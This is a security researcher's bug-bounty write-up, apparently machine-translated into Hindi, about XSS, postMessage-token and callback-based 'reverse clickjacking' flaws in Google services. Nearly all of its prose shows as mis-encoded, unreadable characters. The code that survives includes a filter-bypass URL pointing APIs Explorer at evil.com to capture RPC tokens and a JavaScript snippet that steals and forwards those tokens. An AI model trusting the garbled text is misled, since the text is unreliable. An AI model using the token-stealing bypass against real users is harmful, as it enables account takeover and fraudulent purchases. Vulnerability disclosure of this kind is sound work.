рдбрд┐рд╕реНрдХреНрд▓реЗрдорд░: рд▓реЗрдЦ рдореЗрдВ рд╡рд░реНрдгрд┐рдд рд╕рднреА рд╢реЛрдз рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рднреЗрджреНрдпрддрд╛ рдкреБрд░рд╕реНрдХрд╛рд░ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
рдХрд╣рд╛рдиреА 1. рдЫреЛрдЯреЗ рдХрдВрдЯреЗрдВрдЯ рдЯрд╛рдЗрдк рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ
рднреЗрджреНрдпрддрд╛ рдПрдХ рд╕реЗрд╡рд╛ рдореЗрдВ рдереА рдЬрд┐рд╕реЗ рдлреАрдбрдмрд░реНрдирд░ рдХрд╣рд╛ рдЬрд╛рддрд╛ рдерд╛ред рдкрд╣рд▓реЗ рдореИрдВрдиреЗ рдПрдХ рдлреАрдб рдмрдирд╛рдпрд╛ рдФрд░ рдЙрд╕рдореЗрдВ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреАред рд▓реЗрдХрд┐рди рдПрдореНрдмреЗрдбреЗрдб рдбреЗрдЯрд╛ рдкреГрд╖реНрда рдкрд░ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджрд┐рдпрд╛ - рдХреЗрд╡рд▓ рд╣рд╛рдирд┐рд░рд╣рд┐рдд рд▓рд┐рдВрдХред рдХрдИ рдЕрд╕рдлрд▓ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рдмрд╛рдж, рдореБрдЭреЗ рдкреЛрдбрдореЗрдбрд┐рдХ рдкреГрд╖реНрда рдкрд░ рдХрдИ рд╕рдВрджреЗрд╢ рдорд┐рд▓реЗред рдкреЙрдбрдореЗрдбрд┐рдХ рдлрд╝реАрдб рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рд▓рд┐рдВрдХ рдХреЛ рджреЗрдЦрддрд╛ рд╣реИред рдпрджрд┐ рдЕрдиреБрд▓рдЧреНрдирдХ рдмрдирд╛рддреЗ рд╕рдордп рдХреЛрдИ рд╕рдорд╕реНрдпрд╛ рдкрд╛рдИ рдЧрдИ рдереА, рддреЛ рдкреЛрдбрдореЗрдбрд┐рдХ рдХрд╛рд░рдг рдмрддрд╛рддрд╛ рд╣реИред рд╕рдВрджреЗрд╢реЛрдВ рдиреЗ рдХрд╣рд╛ рдХрд┐ рд▓рд┐рдВрдХ рдЧрд▓рдд рд╣реИрдВ: рд╕рд░реНрд╡рд░ рдЧрд▓рдд рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рджреЗрддрд╛ рд╣реИред

рд╣рдореНрдоред рд╕рдм рдареАрдХ рд╣реИред рдореИрдВ рд╢рд░реНрдд рд▓рдЧрд╛рддрд╛ рд╣реВрдВ рдХрд┐ рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдлрд╝рд┐рд▓реНрдЯрд░реНрдб рдирд╣реАрдВ рд╣реИред рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд░рд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ:
<?php header('Content-Type: text/
; charset=UTF-8'); ?>
рдФрд░ рд╣рдореЗрдВ рд╡рд╣реА рдорд┐рд▓рд╛ рдЬреЛ рд╣рдо рдЪрд╛рд╣рддреЗ рдереЗ:

рдХрд╣рд╛рдиреА 2. рдЫреЛрдЯреА рдХреЙрд▓рдмреИрдХ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ
рдлреАрдбрдмрд░реНрдирд░ рдореЗрдВ рднреЗрджреНрдпрддрд╛ рд╡рд┐рддрд░рд┐рдд рдирд╣реАрдВ рд╣реБрдИ - рдЗрд╕рдореЗрдВ рдХреБрдЫ рднреА рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдирд╣реАрдВ рдерд╛ред рдЗрд╕рд▓рд┐рдП, рдореИрдВрдиреЗ рддреБрд░рдВрдд рдЦреЛрдЬ рдЬрд╛рд░реА рд░рдЦреАред рдореЗрд░рд╛ рдзреНрдпрд╛рди APIs Explorer рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП Developers.google.com рдкрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдпрд╣ рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рд╡рд┐рднрд┐рдиреНрди Google рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рдЕрдВрддрдГрдХреНрд░рд┐рдпрд╛рддреНрдордХ рд░реВрдк рд╕реЗ рджреЗрдЦрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рд╕рд╛рде, рдЖрдк рдПрдкреАрдЖрдИ рдФрд░ рдЙрдирдХреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ, рдкреНрд░рддреНрдпреЗрдХ рдПрдкреАрдЖрдИ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рддрд░реАрдХреЛрдВ, рд╕рд╛рде рдореЗрдВ рдкреНрд░рд▓реЗрдЦрди рдХреЗ рд╕рд╛рде рд╕рдорд░реНрдерд┐рдд рдкреИрд░рд╛рдореАрдЯрд░ рдФрд░ рдмрд╣реБрдд рдХреБрдЫ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдореИрдВ рдкреЛрд╕реНрдЯ-рдореЗрд╕реЗрдЬреЗрдЬ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХреНрд░реЙрд╕-рдбреЛрдореЗрди рд╕рдВрдЪрд╛рд░ рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддрд╛ рдерд╛ред рдЬрд╛рдВрдЪ рдХреА рдЧрдИ Google API рдХрд╛ рд▓рд┐рдВрдХ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рд╣реИ:
developers.google.com/apis-explorer/?base=https://webapis-discovery.appspot.com/_ah/api#p/
рдмреЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдХреБрдЫ рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпрд╣ рдЦрд░рд╛рдм рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ), рдЬреЛ 23% рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдИрдкрд╛рд╕ рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИ:
developers.google.com/apis-explorer/?base=https://evil.com%23webapis-discovery.appspot.com/_ah/api#p/admin/reports_v1/
рдирддреАрдЬрддрди, рдПрдХ iframe src = bad.com рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рдо рдЗрд╕рдХреЗ рдПрдХ рд╕рдВрджреЗрд╢ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдкреНрд░рддреНрдпреЗрдХ рд╕рдВрджреЗрд╢ рдореЗрдВ рджреЛ рдЯреЛрдХрди рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдПред рдкрд╣рд▓рд╛ рдЯреЛрдХрди рд╡рд┐рдВрдбреЛ рдореЗрдВ рд╕рдореНтАНрдорд┐рд▓рд┐рдд рд╣реИред рджрд┐рдП рдЧрдП рдЖрдЗрдлреНрд░реЗрдо рдХрд╛ рдирд╛рдо, рджреВрд╕рд░рд╛ рд╕реНрдерд╛рдиред рдореИрдВрдиреЗ рджреЗрдЦрд╛ рдХрд┐
webapis-discovery.appspot.com/_ah/api рд╕реЗ рдХреНрдпрд╛ рд╕рдВрджреЗрд╢ рднреЗрдЬреЗ рдЧрдП рд╣реИрдВ, рдФрд░ рдорд╛рдиреНрдп рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рдПрдХ рд╣реА рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреГрд╖реНрда рд▓рд┐рдЦрд╛ рд╣реИред рдкреГрд╖реНрда рдиреЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдХрд╛рдо рдХрд┐рдпрд╛, рдФрд░ рдореИрдВрдиреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рд▓рд┐рдП рдХреБрдЫ HTML рдбреЗрдЯрд╛ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреАред рдХреЛрдИ рдлрд╛рдпрджрд╛ рдирд╣реАрдВ рд╣реБрдЖред рдореИрдВ рдкрд╛рда, рдЫрд╡рд┐рдпреЛрдВ рдХрд╛ рд╕реНрдерд╛рди рдмрджрд▓ рд╕рдХрддрд╛ рд╣реВрдВ, рд▓реЗрдХрд┐рди рдпрд╣ XSS рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИред рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рд▓рд┐рдВрдХ рдХреЛ рдмрджрд▓рдирд╛ рднреА рд╕рдВрднрд╡ рдерд╛ред рдореИрдВ рдЗрд╕реЗ
рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдмрджрд▓рдиреЗ рдореЗрдВ рдХрд╛рдордпрд╛рдм рд░рд╣рд╛
: рд╕рддрд░реНрдХ (document.domain) :

рд▓реЗрдХрд┐рди рдореЗрд░реЗ рд▓рд┐рдП рдпрд╣ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рдерд╛ред рдореБрдЭреЗ рдпрд╣ рддрдереНрдп рдкрд╕рдВрдж рдирд╣реАрдВ рдерд╛ рдХрд┐ рдСрдкрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрднреА рднреА рд╡рд╣ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдореИрдВ рдЪрд╛рд╣рддрд╛ рд╣реВрдВ - рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╡реЗ рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ :) рдЗрд╕рд▓рд┐рдП, рдореИрдВрдиреЗ рдХреЙрд▓рдмреИрдХ рдлрд╝рдВрдХреНрд╢рди (рдЕрдм рд▓рдЧрднрдЧ рд╕рднреА рдбреЗрд╡рд▓рдкрд░реНрд╕ рдЗрд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдорд╛рдирддреЗ рд╣реИрдВ) рдХреЗ рд╕рд╛рде Developers.google.com рдкрд░ рдкреГрд╖реНрда рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ред рдореИрдВрдиреЗ рдЗрд╕ рдкреГрд╖реНрда рдкрд░
рдореВрд▓-рд▓рд╛рдЗрдХ [0] рдЬреИрд╕реЗ рдХреЙрд▓рдмреИрдХ рдХреЗ рд╕рд╛рде рдПрдХ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдЬреЛрдбрд╝рд╛ред
рдкреЛрд╕реНрдЯрдореЗрд╕реЗрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЙрдХреНрдпреВрдореЗрдВрдЯреЗрд╢рди рд▓рд┐рдВрдХ рдмрдирд╛рдП рдЬрд╛рдиреЗ рдХреЗ рдмрд╛рдж рдореЗрд░реЗ рд╢реЛрд╖рдг рдореЗрдВ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред ([] рдкрд╛рддреНрд░реЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдХреЙрд▓рдмреИрдХ рдЗрд╕ рддрд░рд╣ рдерд╛:
document.body.lastElementChild.previousSibling.lastElementChild.firstElementChild.firstElementChild.lastElementChild.firstElementChild.firstElementChild.firstElementChild.nextSibling.)
рд╣рдо рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ:

рд╣реБрд░реНрд░реЗ! рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрд╛рддрдЪреАрдд рдХреЗ рдмрд┐рдирд╛ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рддреЛ, рд╢реЛрд╖рдг рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рд╕реЗ рджреЗрдЦрд╛:
token_1 = location.hash.split('rpctoken=')[1];
token_2 = window.name;
send_payload(data,token_1,token_2);
window.setTimeout('document.location=callback_url;',3000); // - -тАж
рдФрд░ рд╣рд╛рдВ, рдореИрдВрдиреЗ рдПрдХ рдЕрдЪреНрдЫрд╛ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рд▓рд┐рдпрд╛:

рдореБрдЭреЗ рдСрдкрд░реЗрд╢рди рдХрд╛ рдпрд╣ рддрд░реАрдХрд╛ рдкрд╕рдВрдж рдЖрдпрд╛ред рдореИрдВрдиреЗ рдЗрд╕реЗ рдЕрдиреНрдп рд╕реЗрд╡рд╛рдУрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА, рдФрд░ рдореИрдВрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ OAuth рдЯреЛрдХрди рдХреЛ рдЪреЛрд░реА рдХрд░рдиреЗ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рднреБрдЧрддрд╛рди рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдЙрд╕рдХреА рдУрд░ рд╕реЗ Google Play рдкрд░ рдХреЛрдИ рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЦрд░реАрджрдиреЗ рдореЗрдВ рдорджрдж рдХреА, рдЬрдмрдХрд┐ рдЦрд░реАрджреЗ рдЧрдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
Google рд╕реБрд░рдХреНрд╖рд╛ рдЯреАрдо рдХреЗ рд▓реЛрдЧреЛрдВ рдиреЗ рднреА рдЗрд╕ рддрдХрдиреАрдХ рдХреЛ рдкрд╕рдВрдж рдХрд┐рдпрд╛, рдФрд░ рдЙрдиреНрд╣реЛрдВрдиреЗ рдЗрд╕реЗ OWASP AppSec Eu рдкрд░
рд╡рд░реНрдгрд┐рдд рдХрд┐рдпрд╛, рдЗрд╕реЗ рд░рд┐рд╡рд░реНрд╕ рдХреНрд▓рд┐рдХрд┐рдВрдЧ рдХрд╣рд╛ред
рдкрд╛рд╡реЗрд▓ рдЯреЙрдкрд░рдХреЛрд╡, рд╕рдХрд╛рд░рд╛рддреНрдордХ рдЕрдиреБрд╕рдВрдзрд╛рди
рджреНрд╡рд╛рд░рд╛ рдкреЛрд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛